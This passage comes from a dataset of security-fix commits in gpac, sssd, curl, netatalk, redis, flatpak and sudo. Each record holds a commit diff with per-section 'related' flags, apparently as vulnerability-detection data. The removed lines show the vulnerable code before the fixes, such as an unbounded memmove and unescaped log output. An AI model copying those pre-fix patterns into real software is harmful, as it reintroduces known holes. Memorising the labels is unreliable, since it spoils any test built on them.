setting DIR_ITERATOR_FOLLOW_SYMLINKS affects resolving the\n+ * starting path as well (e.g., attempting to iterate starting at a\n+ * symbolic link pointing to a directory without FOLLOW_SYMLINKS will\n+ * result in an error).\n+ *\n * Warning: circular symlinks are also followed when\n * DIR_ITERATOR_FOLLOW_SYMLINKS is set. The iteration may end up with\n * an ELOOP if they happen and DIR_ITERATOR_PEDANTIC is set.", "related": false}]} +{"owner": "gpac", "repo": "gpac", "language": "C", "file_name": "src/isomedia/box_code_base.c", "commit_id": "ea7395f39f601a7750d48d606e9d10ea0b7beefe", "commit_message": "sgpd box entry: disallow null grouping_type (#2389)", "patch": "@@ -4429,7 +4429,7 @@ GF_Err video_sample_entry_box_size(GF_Box *s)\n \n \t/*VVC*/\n \tgf_isom_check_position(s, (GF_Box *)ptr->vvc_config, &pos);\n-\t\n+\n \t/*AV1*/\n \tgf_isom_check_position(s, (GF_Box *)ptr->av1_config, &pos);\n \n@@ -8857,7 +8857,7 @@ GF_Err dac3_box_write(GF_Box *s, GF_BitStream *bs)\n \te = gf_isom_box_write_header(s, bs);\n \tif (ptr->cfg.is_ec3) s->type = GF_ISOM_BOX_TYPE_DAC3;\n \tif (e) return e;\n-\t\n+\n \te = gf_odf_ac3_cfg_write_bs(&ptr->cfg, bs);\n \tif (e) return e;\n \n@@ -9983,6 +9983,9 @@ static void *sgpd_parse_entry(u32 grouping_type, GF_BitStream *bs, s32 bytes_in_\n \t\t}\n \t\treturn ptr;\n \t}\n+\tcase 0:\n+\t\tGF_LOG(GF_LOG_WARNING, GF_LOG_CONTAINER, (\"[iso file] sgpd entry null grouping_type is invalid\\n\") );\n+\t\treturn NULL;\n \tdefault:\n \t\tbreak;\n \t}", "sections": [{"section": "@@ -4429,7 +4429,7 @@ GF_Err video_sample_entry_box_size(GF_Box *s)\n \n \t/*VVC*/\n \tgf_isom_check_position(s, (GF_Box *)ptr->vvc_config, &pos);\n-\t\n+\n \t/*AV1*/\n \tgf_isom_check_position(s, (GF_Box *)ptr->av1_config, &pos);\n \n", "related": false}, {"section": "@@ -8857,7 +8857,7 @@ GF_Err dac3_box_write(GF_Box *s, GF_BitStream *bs)\n \te = gf_isom_box_write_header(s, bs);\n \tif (ptr->cfg.is_ec3) s->type = GF_ISOM_BOX_TYPE_DAC3;\n \tif (e) return e;\n-\t\n+\n \te = gf_odf_ac3_cfg_write_bs(&ptr->cfg, bs);\n \tif (e) return e;\n \n", "related": false}, {"section": "@@ -9983,6 +9983,9 @@ static void *sgpd_parse_entry(u32 grouping_type, GF_BitStream *bs, s32 bytes_in_\n \t\t}\n \t\treturn ptr;\n \t}\n+\tcase 0:\n+\t\tGF_LOG(GF_LOG_WARNING, GF_LOG_CONTAINER, (\"[iso file] sgpd entry null grouping_type is invalid\\n\") );\n+\t\treturn NULL;\n \tdefault:\n \t\tbreak;\n \t}", "related": false}]} +{"owner": "sssd", "repo": "sssd", "language": "C", "file_name": "src/lib/certmap/sss_certmap.c", "commit_id": "a2b9a84460429181f2a4fa7e2bb5ab49fd561274", "commit_message": "certmap: sanitize LDAP search filter\n\nThe sss_certmap_get_search_filter() will now sanitize the values read\nfrom the certificates before adding them to a search filter. To be able\nto get the plain values as well sss_certmap_expand_mapping_rule() is\nadded.\n\nResolves:\nhttps://github.com/SSSD/sssd/issues/5135\n\nReviewed-by: Alexey Tikhonov ", "patch": "@@ -441,10 +441,12 @@ static int expand_san(struct sss_certmap_ctx *ctx,\n static int expand_template(struct sss_certmap_ctx *ctx,\n struct parsed_template *parsed_template,\n struct sss_cert_content *cert_content,\n+ bool sanitize,\n char **expanded)\n {\n int ret;\n char *exp = NULL;\n+ char *exp_sanitized = NULL;\n \n if (strcmp(\"issuer_dn\", parsed_template->name) == 0) {\n ret = rdn_list_2_dn_str(ctx, parsed_template->conversion,\n@@ -455,6 +457,8 @@ static int expand_template(struct sss_certmap_ctx *ctx,\n } else if (strncmp(\"subject_\", parsed_template->name, 8) == 0) {\n ret = expand_san(ctx, parsed_template, cert_content->san_list, &exp);\n } else if (strcmp(\"cert\", parsed_template->name) == 0) {\n+ /* cert blob is already sanitized */\n+ sanitize = false;\n ret = expand_cert(ctx, parsed_template, cert_content, &exp);\n } else {\n CM_DEBUG(ctx, \"Unsupported template name.\");\n@@ -471,6 +475,16 @@ static int expand_template(struct sss_certmap_ctx *ctx,\n goto done;\n }\n \n+ if (sanitize) {\n+ ret = sss_filter_sanitize(ctx, exp, &exp_sanitized);\n+ if (ret != EOK) {\n+ CM_DEBUG(ctx, \"Failed to sanitize expanded template.\");\n+ goto done;\n+ }\n+ talloc_free(exp);\n+ exp = exp_sanitized;\n+ }\n+\n ret = 0;\n \n done:\n@@ -485,7 +499,7 @@ static int expand_template(struct sss_certmap_ctx *ctx,\n \n static int get_filter(struct sss_certmap_ctx *ctx,\n struct ldap_mapping_rule *parsed_mapping_rule,\n- struct sss_cert_content *cert_content,\n+ struct sss_cert_content *cert_content, bool sanitize,\n char **filter)\n {\n struct ldap_mapping_rule_comp *comp;\n@@ -503,7 +517,7 @@ static int get_filter(struct sss_certmap_ctx *ctx,\n result = talloc_strdup_append(result, comp->val);\n } else if (comp->type == comp_template) {\n ret = expand_template(ctx, comp->parsed_template, cert_content,\n- &expanded);\n+ sanitize, &expanded);\n if (ret != 0) {\n CM_DEBUG(ctx, \"Failed to expanded template.\");\n goto done;\n@@ -791,8 +805,9 @@ int sss_certmap_match_cert(struct sss_certmap_ctx *ctx,\n return ret;\n }\n \n-int sss_certmap_get_search_filter(struct sss_certmap_ctx *ctx,\n+static int expand_mapping_rule_ex(struct sss_certmap_ctx *ctx,\n const uint8_t *der_cert, size_t der_size,\n+ bool sanitize,\n char **_filter, char ***_domains)\n {\n int ret;\n@@ -819,7 +834,8 @@ int sss_certmap_get_search_filter(struct sss_certmap_ctx *ctx,\n return EINVAL;\n }\n \n- ret = get_filter(ctx, ctx->default_mapping_rule, cert_content, &filter);\n+ ret = get_filter(ctx, ctx->default_mapping_rule, cert_content, sanitize,\n+ &filter);\n goto done;\n }\n \n@@ -829,7 +845,7 @@ int sss_certmap_get_search_filter(struct sss_certmap_ctx *ctx,\n if (ret == 0) {\n /* match */\n ret = get_filter(ctx, r->parsed_mapping_rule, cert_content,\n- &filter);\n+ sanitize, &filter);\n if (ret != 0) {\n CM_DEBUG(ctx, \"Failed to get filter\");\n goto done;\n@@ -873,6 +889,22 @@ int sss_certmap_get_search_filter(struct sss_certmap_ctx *ctx,\n return ret;\n }\n \n+int sss_certmap_get_search_filter(struct sss_certmap_ctx *ctx,\n+ const uint8_t *der_cert, size_t der_size,\n+ char **_filter, char ***_domains)\n+{\n+ return expand_mapping_rule_ex(ctx, der_cert, der_size, true,\n+ _filter, _domains);\n+}\n+\n+int sss_certmap_expand_mapping_rule(struct sss_certmap_ctx *ctx,\n+ const uint8_t *der_cert, size_t der_size,\n+ char **_expanded, char ***_domains)\n+{\n+ return expand_mapping_rule_ex(ctx, der_cert, der_size, false,\n+ _expanded, _domains);\n+}\n+\n int sss_certmap_init(TALLOC_CTX *mem_ctx,\n sss_certmap_ext_debug *debug, void *debug_priv,\n struct sss_certmap_ctx **ctx)", "sections": [{"section": "@@ -441,10 +441,12 @@ static int expand_san(struct sss_certmap_ctx *ctx,\n static int expand_template(struct sss_certmap_ctx *ctx,\n struct parsed_template *parsed_template,\n struct sss_cert_content *cert_content,\n+ bool sanitize,\n char **expanded)\n {\n int ret;\n char *exp = NULL;\n+ char *exp_sanitized = NULL;\n \n if (strcmp(\"issuer_dn\", parsed_template->name) == 0) {\n ret = rdn_list_2_dn_str(ctx, parsed_template->conversion,\n", "related": false}, {"section": "@@ -455,6 +457,8 @@ static int expand_template(struct sss_certmap_ctx *ctx,\n } else if (strncmp(\"subject_\", parsed_template->name, 8) == 0) {\n ret = expand_san(ctx, parsed_template, cert_content->san_list, &exp);\n } else if (strcmp(\"cert\", parsed_template->name) == 0) {\n+ /* cert blob is already sanitized */\n+ sanitize = false;\n ret = expand_cert(ctx, parsed_template, cert_content, &exp);\n } else {\n CM_DEBUG(ctx, \"Unsupported template name.\");\n", "related": false}, {"section": "@@ -471,6 +475,16 @@ static int expand_template(struct sss_certmap_ctx *ctx,\n goto done;\n }\n \n+ if (sanitize) {\n+ ret = sss_filter_sanitize(ctx, exp, &exp_sanitized);\n+ if (ret != EOK) {\n+ CM_DEBUG(ctx, \"Failed to sanitize expanded template.\");\n+ goto done;\n+ }\n+ talloc_free(exp);\n+ exp = exp_sanitized;\n+ }\n+\n ret = 0;\n \n done:\n", "related": false}, {"section": "@@ -485,7 +499,7 @@ static int expand_template(struct sss_certmap_ctx *ctx,\n \n static int get_filter(struct sss_certmap_ctx *ctx,\n struct ldap_mapping_rule *parsed_mapping_rule,\n- struct sss_cert_content *cert_content,\n+ struct sss_cert_content *cert_content, bool sanitize,\n char **filter)\n {\n struct ldap_mapping_rule_comp *comp;\n", "related": false}, {"section": "@@ -503,7 +517,7 @@ static int get_filter(struct sss_certmap_ctx *ctx,\n result = talloc_strdup_append(result, comp->val);\n } else if (comp->type == comp_template) {\n ret = expand_template(ctx, comp->parsed_template, cert_content,\n- &expanded);\n+ sanitize, &expanded);\n if (ret != 0) {\n CM_DEBUG(ctx, \"Failed to expanded template.\");\n goto done;\n", "related": false}, {"section": "@@ -791,8 +805,9 @@ int sss_certmap_match_cert(struct sss_certmap_ctx *ctx,\n return ret;\n }\n \n-int sss_certmap_get_search_filter(struct sss_certmap_ctx *ctx,\n+static int expand_mapping_rule_ex(struct sss_certmap_ctx *ctx,\n const uint8_t *der_cert, size_t der_size,\n+ bool sanitize,\n char **_filter, char ***_domains)\n {\n int ret;\n", "related": false}, {"section": "@@ -819,7 +834,8 @@ int sss_certmap_get_search_filter(struct sss_certmap_ctx *ctx,\n return EINVAL;\n }\n \n- ret = get_filter(ctx, ctx->default_mapping_rule, cert_content, &filter);\n+ ret = get_filter(ctx, ctx->default_mapping_rule, cert_content, sanitize,\n+ &filter);\n goto done;\n }\n \n", "related": false}, {"section": "@@ -829,7 +845,7 @@ int sss_certmap_get_search_filter(struct sss_certmap_ctx *ctx,\n if (ret == 0) {\n /* match */\n ret = get_filter(ctx, r->parsed_mapping_rule, cert_content,\n- &filter);\n+ sanitize, &filter);\n if (ret != 0) {\n CM_DEBUG(ctx, \"Failed to get filter\");\n goto done;\n", "related": false}, {"section": "@@ -873,6 +889,22 @@ int sss_certmap_get_search_filter(struct sss_certmap_ctx *ctx,\n return ret;\n }\n \n+int sss_certmap_get_search_filter(struct sss_certmap_ctx *ctx,\n+ const uint8_t *der_cert, size_t der_size,\n+ char **_filter, char ***_domains)\n+{\n+ return expand_mapping_rule_ex(ctx, der_cert, der_size, true,\n+ _filter, _domains);\n+}\n+\n+int sss_certmap_expand_mapping_rule(struct sss_certmap_ctx *ctx,\n+ const uint8_t *der_cert, size_t der_size,\n+ char **_expanded, char ***_domains)\n+{\n+ return expand_mapping_rule_ex(ctx, der_cert, der_size, false,\n+ _expanded, _domains);\n+}\n+\n int sss_certmap_init(TALLOC_CTX *mem_ctx,\n sss_certmap_ext_debug *debug, void *debug_priv,\n struct sss_certmap_ctx **ctx)", "related": false}]} +{"owner": "curl", "repo": "curl", "language": "C", "file_name": "include/curl/curl.h", "commit_id": "076a2f629119222aeeb50f5a03bf9f9052fabb9a", "commit_message": "share: add sharing of HSTS cache among handles\n\nCloses #10138", "patch": "@@ -2953,6 +2953,7 @@ typedef enum {\n CURL_LOCK_DATA_SSL_SESSION,\n CURL_LOCK_DATA_CONNECT,\n CURL_LOCK_DATA_PSL,\n+ CURL_LOCK_DATA_HSTS,\n CURL_LOCK_DATA_LAST\n } curl_lock_data;\n ", "sections": [{"section": "@@ -2953,6 +2953,7 @@ typedef enum {\n CURL_LOCK_DATA_SSL_SESSION,\n CURL_LOCK_DATA_CONNECT,\n CURL_LOCK_DATA_PSL,\n+ CURL_LOCK_DATA_HSTS,\n CURL_LOCK_DATA_LAST\n } curl_lock_data;\n ", "related": false}]} +{"owner": "curl", "repo": "curl", "language": "C", "file_name": "lib/urldata.h", "commit_id": "cb49e67303dbafbab1cebf4086e3ec15b7d56ee5", "commit_message": "url: only reuse connections with same GSS delegation\n\nReported-by: Harry Sintonen\nCloses #10731", "patch": "@@ -1061,6 +1061,7 @@ struct connectdata {\n unsigned char ip_version; /* copied from the Curl_easy at creation time */\n unsigned char httpversion; /* the HTTP version*10 reported by the server */\n unsigned char connect_only;\n+ unsigned char gssapi_delegation; /* inherited from set.gssapi_delegation */\n };\n \n /* The end of connectdata. */", "sections": [{"section": "@@ -1061,6 +1061,7 @@ struct connectdata {\n unsigned char ip_version; /* copied from the Curl_easy at creation time */\n unsigned char httpversion; /* the HTTP version*10 reported by the server */\n unsigned char connect_only;\n+ unsigned char gssapi_delegation; /* inherited from set.gssapi_delegation */\n };\n \n /* The end of connectdata. */", "related": false}]} +{"owner": "netatalk", "repo": "netatalk", "language": "C", "file_name": "libatalk/dsi/dsi_write.c", "commit_id": "5fcb4ab02aced14484310165b3d754bb2f0820ca", "commit_message": "fix CVE-2022-43634", "patch": "@@ -23,15 +23,15 @@\n #include \n #include \n \n-size_t dsi_writeinit(DSI *dsi, void *buf, const size_t buflen _U_)\n+size_t dsi_writeinit(DSI *dsi, void *buf, const size_t buflen)\n {\n size_t bytes = 0;\n dsi->datasize = ntohl(dsi->header.dsi_len) - dsi->header.dsi_data.dsi_doff;\n \n if (dsi->eof > dsi->start) {\n /* We have data in the buffer */\n bytes = MIN(dsi->eof - dsi->start, dsi->datasize);\n- memmove(buf, dsi->start, bytes);\n+ memmove(buf, dsi->start, MIN(buflen, bytes));\n dsi->start += bytes;\n dsi->datasize -= bytes;\n if (dsi->start >= dsi->eof)", "sections": [{"section": "@@ -23,15 +23,15 @@\n #include \n #include \n \n-size_t dsi_writeinit(DSI *dsi, void *buf, const size_t buflen _U_)\n+size_t dsi_writeinit(DSI *dsi, void *buf, const size_t buflen)\n {\n size_t bytes = 0;\n dsi->datasize = ntohl(dsi->header.dsi_len) - dsi->header.dsi_data.dsi_doff;\n \n if (dsi->eof > dsi->start) {\n /* We have data in the buffer */\n bytes = MIN(dsi->eof - dsi->start, dsi->datasize);\n- memmove(buf, dsi->start, bytes);\n+ memmove(buf, dsi->start, MIN(buflen, bytes));\n dsi->start += bytes;\n dsi->datasize -= bytes;\n if (dsi->start >= dsi->eof)", "related": false}]} +{"owner": "redis", "repo": "redis", "language": "C", "file_name": "src/t_string.c", "commit_id": "48e0d4788434833b47892fe9f3d91be7687f25c9", "commit_message": "Avoid assertion when MSETNX is used with the same key twice (CVE-2023-28425) (#11940)\n\nUsing the same key twice in MSETNX command would trigger an assertion.\r\n\r\nThis reverts #11594 (introduced in Redis 7.0.8)", "patch": "@@ -559,7 +559,6 @@ void mgetCommand(client *c) {\n \n void msetGenericCommand(client *c, int nx) {\n int j;\n- int setkey_flags = 0;\n \n if ((c->argc % 2) == 0) {\n addReplyErrorArity(c);\n@@ -575,12 +574,11 @@ void msetGenericCommand(client *c, int nx) {\n return;\n }\n }\n- setkey_flags |= SETKEY_DOESNT_EXIST;\n }\n \n for (j = 1; j < c->argc; j += 2) {\n c->argv[j+1] = tryObjectEncoding(c->argv[j+1]);\n- setKey(c, c->db, c->argv[j], c->argv[j + 1], setkey_flags);\n+ setKey(c, c->db, c->argv[j], c->argv[j + 1], 0);\n notifyKeyspaceEvent(NOTIFY_STRING,\"set\",c->argv[j],c->db->id);\n }\n server.dirty += (c->argc-1)/2;", "sections": [{"section": "@@ -559,7 +559,6 @@ void mgetCommand(client *c) {\n \n void msetGenericCommand(client *c, int nx) {\n int j;\n- int setkey_flags = 0;\n \n if ((c->argc % 2) == 0) {\n addReplyErrorArity(c);\n", "related": false}, {"section": "@@ -575,12 +574,11 @@ void msetGenericCommand(client *c, int nx) {\n return;\n }\n }\n- setkey_flags |= SETKEY_DOESNT_EXIST;\n }\n \n for (j = 1; j < c->argc; j += 2) {\n c->argv[j+1] = tryObjectEncoding(c->argv[j+1]);\n- setKey(c, c->db, c->argv[j], c->argv[j + 1], setkey_flags);\n+ setKey(c, c->db, c->argv[j], c->argv[j + 1], 0);\n notifyKeyspaceEvent(NOTIFY_STRING,\"set\",c->argv[j],c->db->id);\n }\n server.dirty += (c->argc-1)/2;", "related": false}]} +{"owner": "flatpak", "repo": "flatpak", "language": "C", "file_name": "common/flatpak-utils-private.h", "commit_id": "7fe63f2e8f1fd2dafc31d45154cf0b191ebec66c", "commit_message": "Reject paths given to --filesystem/--persist with special characters\n\nThere isn't much in the way of legit reasons for this, but it's a\npotential security footgun when displaying the text.\n\nCVE-2023-28101, GHSA-h43h-fwqx-mpp8\n\nSigned-off-by: Ryan Gonzalez \nCo-authored-by: Simon McVittie ", "patch": "@@ -937,6 +937,9 @@ char * flatpak_escape_string (const char *s,\n void flatpak_print_escaped_string (const char *s,\n FlatpakEscapeFlags flags);\n \n+gboolean flatpak_validate_path_characters (const char *path,\n+ GError **error);\n+\n gboolean running_under_sudo (void);\n \n #define FLATPAK_MESSAGE_ID \"c7b39b1e006b464599465e105b361485\"", "sections": [{"section": "@@ -937,6 +937,9 @@ char * flatpak_escape_string (const char *s,\n void flatpak_print_escaped_string (const char *s,\n FlatpakEscapeFlags flags);\n \n+gboolean flatpak_validate_path_characters (const char *path,\n+ GError **error);\n+\n gboolean running_under_sudo (void);\n \n #define FLATPAK_MESSAGE_ID \"c7b39b1e006b464599465e105b361485\"", "related": false}]} +{"owner": "sudo-project", "repo": "sudo", "language": "C", "file_name": "plugins/sudoers/sudoreplay.c", "commit_id": "334daf92b31b79ce68ed75e2ee14fca265f029ca", "commit_message": "Escape control characters in log messages and \"sudoreplay -l\" output.\nThe log message contains user-controlled strings that could include\nthings like terminal control characters. Space characters in the\ncommand path are now also escaped.\n\nCommand line arguments that contain spaces are surrounded with\nsingle quotes and any literal single quote or backslash characters\nare escaped with a backslash. This makes it possible to distinguish\nmultiple command line arguments from a single argument that contains\nspaces.\n\nIssue found by Matthieu Barjole and Victor Cutillas of Synacktiv\n(https://synacktiv.com).", "patch": "@@ -62,6 +62,7 @@\n #include \"sudo_debug.h\"\n #include \"sudo_event.h\"\n #include \"sudo_eventlog.h\"\n+#include \"sudo_lbuf.h\"\n #include \"sudo_fatal.h\"\n #include \"sudo_gettext.h\"\n #include \"sudo_iolog.h\"\n@@ -373,6 +374,10 @@ main(int argc, char *argv[])\n if ((evlog = iolog_parse_loginfo(iolog_dir_fd, iolog_dir)) == NULL)\n \tgoto done;\n printf(_(\"Replaying sudo session: %s\"), evlog->command);\n+ if (evlog->argv != NULL && evlog->argv[0] != NULL) {\n+\tfor (i = 1; evlog->argv[i] != NULL; i++)\n+\t printf(\" %s\", evlog->argv[i]);\n+ }\n \n /* Setup terminal if appropriate. */\n if (!isatty(STDIN_FILENO) || !isatty(STDOUT_FILENO))\n@@ -1315,11 +1320,57 @@ parse_expr(struct search_node_list *head, char *argv[], bool sub_expr)\n debug_return_int(av - argv);\n }\n \n+static char *\n+expand_command(struct eventlog *evlog, char **newbuf)\n+{\n+ size_t len, bufsize = strlen(evlog->command) + 1;\n+ char *cp, *buf;\n+ int ac;\n+ debug_decl(expand_command, SUDO_DEBUG_UTIL);\n+\n+ if (evlog->argv == NULL || evlog->argv[0] == NULL || evlog->argv[1] == NULL) {\n+\t/* No arguments, we can use the command as-is. */\n+\t*newbuf = NULL;\n+\tdebug_return_str(evlog->command);\n+ }\n+\n+ /* Skip argv[0], we use evlog->command instead. */\n+ for (ac = 1; evlog->argv[ac] != NULL; ac++)\n+\tbufsize += strlen(evlog->argv[ac]) + 1;\n+\n+ if ((buf = malloc(bufsize)) == NULL)\n+\tsudo_fatalx(U_(\"%s: %s\"), __func__, U_(\"unable to allocate memory\"));\n+ cp = buf;\n+\n+ len = strlcpy(cp, evlog->command, bufsize);\n+ if (len >= bufsize)\n+\tsudo_fatalx(U_(\"internal error, %s overflow\"), __func__);\n+ cp += len;\n+ bufsize -= len;\n+\n+ for (ac = 1; evlog->argv[ac] != NULL; ac++) {\n+\tif (bufsize < 2)\n+\t sudo_fatalx(U_(\"internal error, %s overflow\"), __func__);\n+\t*cp++ = ' ';\n+\tbufsize--;\n+\n+\tlen = strlcpy(cp, evlog->argv[ac], bufsize);\n+\tif (len >= bufsize)\n+\t sudo_fatalx(U_(\"internal error, %s overflow\"), __func__);\n+\tcp += len;\n+\tbufsize -= len;\n+ }\n+\n+ *newbuf = buf;\n+ debug_return_str(buf);\n+}\n+\n static bool\n match_expr(struct search_node_list *head, struct eventlog *evlog, bool last_match)\n {\n struct search_node *sn;\n bool res = false, matched = last_match;\n+ char *tofree;\n int rc;\n debug_decl(match_expr, SUDO_DEBUG_UTIL);\n \n@@ -1353,13 +1404,15 @@ match_expr(struct search_node_list *head, struct eventlog *evlog, bool last_matc\n \t\tres = strcmp(sn->u.user, evlog->submituser) == 0;\n \t break;\n \tcase ST_PATTERN:\n-\t rc = regexec(&sn->u.cmdre, evlog->command, 0, NULL, 0);\n+\t rc = regexec(&sn->u.cmdre, expand_command(evlog, &tofree),\n+\t\t0, NULL, 0);\n \t if (rc && rc != REG_NOMATCH) {\n \t\tchar buf[BUFSIZ];\n \t\tregerror(rc, &sn->u.cmdre, buf, sizeof(buf));\n \t\tsudo_fatalx(\"%s\", buf);\n \t }\n \t res = rc == REG_NOMATCH ? 0 : 1;\n+\t free(tofree);\n \t break;\n \tcase ST_FROMDATE:\n \t res = sudo_timespeccmp(&evlog->submit_time, &sn->u.tstamp, >=);\n@@ -1380,12 +1433,13 @@ match_expr(struct search_node_list *head, struct eventlog *evlog, bool last_matc\n }\n \n static int\n-list_session(char *log_dir, regex_t *re, const char *user, const char *tty)\n+list_session(struct sudo_lbuf *lbuf, char *log_dir, regex_t *re,\n+ const char *user, const char *tty)\n {\n char idbuf[7], *idstr, *cp;\n struct eventlog *evlog = NULL;\n const char *timestr;\n- int ret = -1;\n+ int i, ret = -1;\n debug_decl(list_session, SUDO_DEBUG_UTIL);\n \n if ((evlog = iolog_parse_loginfo(-1, log_dir)) == NULL)\n@@ -1417,23 +1471,71 @@ list_session(char *log_dir, regex_t *re, const char *user, const char *tty)\n }\n /* XXX - print lines + cols? */\n timestr = get_timestr(evlog->submit_time.tv_sec, 1);\n- printf(\"%s : %s : \", timestr ? timestr : \"invalid date\", evlog->submituser);\n- if (evlog->submithost != NULL)\n-\tprintf(\"HOST=%s ; \", evlog->submithost);\n- if (evlog->ttyname != NULL)\n-\tprintf(\"TTY=%s ; \", evlog->ttyname);\n- if (evlog->runchroot != NULL)\n-\tprintf(\"CHROOT=%s ; \", evlog->runchroot);\n- if (evlog->runcwd != NULL || evlog->cwd != NULL)\n-\tprintf(\"CWD=%s ; \", evlog->runcwd ? evlog->runcwd : evlog->cwd);\n- printf(\"USER=%s ; \", evlog->runuser);\n- if (evlog->rungroup != NULL)\n-\tprintf(\"GROUP=%s ; \", evlog->rungroup);\n- printf(\"TSID=%s ; COMMAND=%s\\n\", idstr, evlog->command);\n-\n- ret = 0;\n+ sudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"%s : %s : \",\n+\ttimestr ? timestr : \"invalid date\", evlog->submituser);\n+ if (evlog->submithost != NULL) {\n+\tsudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"HOST=%s ; \",\n+\t evlog->submithost);\n+ }\n+ if (evlog->ttyname != NULL) {\n+\tsudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"TTY=%s ; \",\n+\t evlog->ttyname);\n+ }\n+ if (evlog->runchroot != NULL) {\n+\tsudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"CHROOT=%s ; \",\n+\t evlog->runchroot);\n+ }\n+ if (evlog->runcwd != NULL || evlog->cwd != NULL) {\n+\tsudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"CWD=%s ; \",\n+\t evlog->runcwd ? evlog->runcwd : evlog->cwd);\n+ }\n+ sudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"USER=%s ; \", evlog->runuser);\n+ if (evlog->rungroup != NULL) {\n+\tsudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"GROUP=%s ; \",\n+\t evlog->rungroup);\n+ }\n+ sudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"TSID=%s ; \", idstr);\n+\n+ /* \n+ * If we have both command and argv from info.json we can escape\n+ * blanks in the the command and arguments. If all we have is a\n+ * single string containing both the command and arguments we cannot.\n+ */\n+ if (evlog->argv != NULL) {\n+\t/* Command plus argv from the info.json file. */\n+\tsudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL|LBUF_ESC_BLANK,\n+\t \"COMMAND=%s\", evlog->command);\n+\tif (evlog->argv[0] != NULL) {\n+\t for (i = 1; evlog->argv[i] != NULL; i++) {\n+\t\tsudo_lbuf_append(lbuf, \" \");\n+\t\tif (strchr(evlog->argv[i], ' ') != NULL) {\n+\t\t /* Wrap args containing spaces in single quotes. */\n+\t\t sudo_lbuf_append(lbuf, \"'\");\n+\t\t sudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL|LBUF_ESC_QUOTE,\n+\t\t\t\"%s\", evlog->argv[i]);\n+\t\t sudo_lbuf_append(lbuf, \"'\");\n+\t\t} else {\n+\t\t /* Escape quotes here too for consistency. */\n+\t\t sudo_lbuf_append_esc(lbuf,\n+\t\t\tLBUF_ESC_CNTRL|LBUF_ESC_BLANK|LBUF_ESC_QUOTE,\n+\t\t\t\"%s\", evlog->argv[i]);\n+\t\t}\n+\t }\n+\t}\n+ } else {\n+\t/* Single string from the legacy info file. */\n+\tsudo_lbuf_append_esc(lbuf, LBUF_ESC_CNTRL, \"COMMAND=%s\",\n+\t evlog->command);\n+ }\n+\n+ if (!sudo_lbuf_error(lbuf)) {\n+\tputs(lbuf->buf);\n+\tret = 0;\n+ }\n \n done:\n+ lbuf->error = 0;\n+ lbuf->len = 0;\n eventlog_free(evlog);\n debug_return_int(ret);\n }\n@@ -1453,6 +1555,7 @@ find_sessions(const char *dir, regex_t *re, const char *user, const char *tty)\n DIR *d;\n struct dirent *dp;\n struct stat sb;\n+ struct sudo_lbuf lbuf;\n size_t sdlen, sessions_len = 0, sessions_size = 0;\n unsigned int i;\n int len;\n@@ -1464,6 +1567,8 @@ find_sessions(const char *dir, regex_t *re, const char *user, const char *tty)\n #endif\n debug_decl(find_sessions, SUDO_DEBUG_UTIL);\n \n+ sudo_lbuf_init(&lbuf, NULL, 0, NULL, 0);\n+\n d = opendir(dir);\n if (d == NULL)\n \tsudo_fatal(U_(\"unable to open %s\"), dir);\n@@ -1524,7 +1629,7 @@ find_sessions(const char *dir, regex_t *re, const char *user, const char *tty)\n \t /* Check for dir with a log file. */\n \t if (lstat(pathbuf, &sb) == 0 && S_ISREG(sb.st_mode)) {\n \t\tpathbuf[sdlen + len - 4] = '\\0';\n-\t\tlist_session(pathbuf, re, user, tty);\n+\t\tlist_session(&lbuf, pathbuf, re, user, tty);\n \t } else {\n \t\t/* Strip off \"/log\" and recurse if a non-log dir. */\n \t\tpathbuf[sdlen + len - 4] = '\\0';\n@@ -1535,6 +1640,7 @@ find_sessions(const char *dir, regex_t *re, const char *user, const char *tty)\n \t}\n \tfree(sessions);\n }\n+ sudo_lbuf_destroy(&lbuf);\n \n debug_return_int(0);\n }", "sections": [{"section": "@@ -62,6 +62,7 @@\n #include \"sudo_debug.h\"\n #include \"sudo_event.h\"\n #include \"sudo_eventlog.h\"\n+#include \"sudo_lbuf.h\"\n #include \"sudo_fatal.h\"\n #include \"sudo_gettext.h\"\n #include \"sudo_iolog.h\"\n", "related": false}, {"section": "@@ -373,6 +374,10 @@ main(int argc, char *argv[])\n if ((evlog = iolog_parse_loginfo(iolog_dir_fd, iolog_dir)) == NULL)\n \tgoto done;\n printf(_(\"Replaying sudo session: %s\"), evlog->command);\n+ if (evlog->argv != NULL && evlog->argv[0] != NULL) {\n+\tfor (i = 1; evlog->argv[i] != NULL; i++)\n+\t printf(\" %s\", evlog->argv[i]);\n+ }\n \n /* Setup terminal if appropriate. */\n if (!isatty(STDIN_FILENO) || !isatty(STDOUT_FILENO))\n", "related": true}, {"section": "@@ -1315,11 +1320,57 @@ parse_expr(struct search_node_list *head, char *argv[], bool sub_expr)\n debug_return_int(av - argv);\n }\n \n+static char *\n+expand_command(struct eventlog *evlog, char **newbuf)\n+{\n+ size_t len, bufsize = strlen(evlog->command) + 1;\n+ char *cp, *buf;\n+ int ac;\n+ debug_decl(expand_command, SUDO_DEBUG_UTIL);\n+\n+ if (evlog->argv == NULL || evlog->argv[0] == NULL || evlog->argv[1] == NULL) {\n+\t/* No arguments, we can use the command as-is. */\n+\t*newbuf = NULL;\n+\tdebug_return_str(evlog->command);\n+ }\n+\n+ /* Skip argv[0], we use evlog->command instead. */\n+ for (ac = 1; evlog->argv[ac] != NULL; ac++)\n+\tbufsize += strlen(evlog->argv[ac]) + 1;\n+\n+ if ((buf = malloc(bufsize)) == NULL)\n+\tsudo_fatalx(U_(\"%s: %s\"), __func__, U_(\"unable to allocate memory\"));\n+ cp = buf;\n+\n+ len = strlcpy(cp, evlog->command, bufsize);\n+ if (len >= bufsize)\n+\tsudo_fatalx(U_(\"internal error, %s overflow\"), __func__);\n+ cp += len;\n+ bufsize -= len;\n+\n+ for (ac = 1; evlog->argv[ac] != NULL; ac++) {\n+\tif (bufsize < 2)\n+\t sudo_fatalx(U_(\"internal error, %s overflow\"), __func__);\n+\t*cp++ = ' ';\n+\tbufsize--;\n+\n+\tlen = strlcpy(cp, evlog->argv[ac], bufsize);\n+\tif (len >= 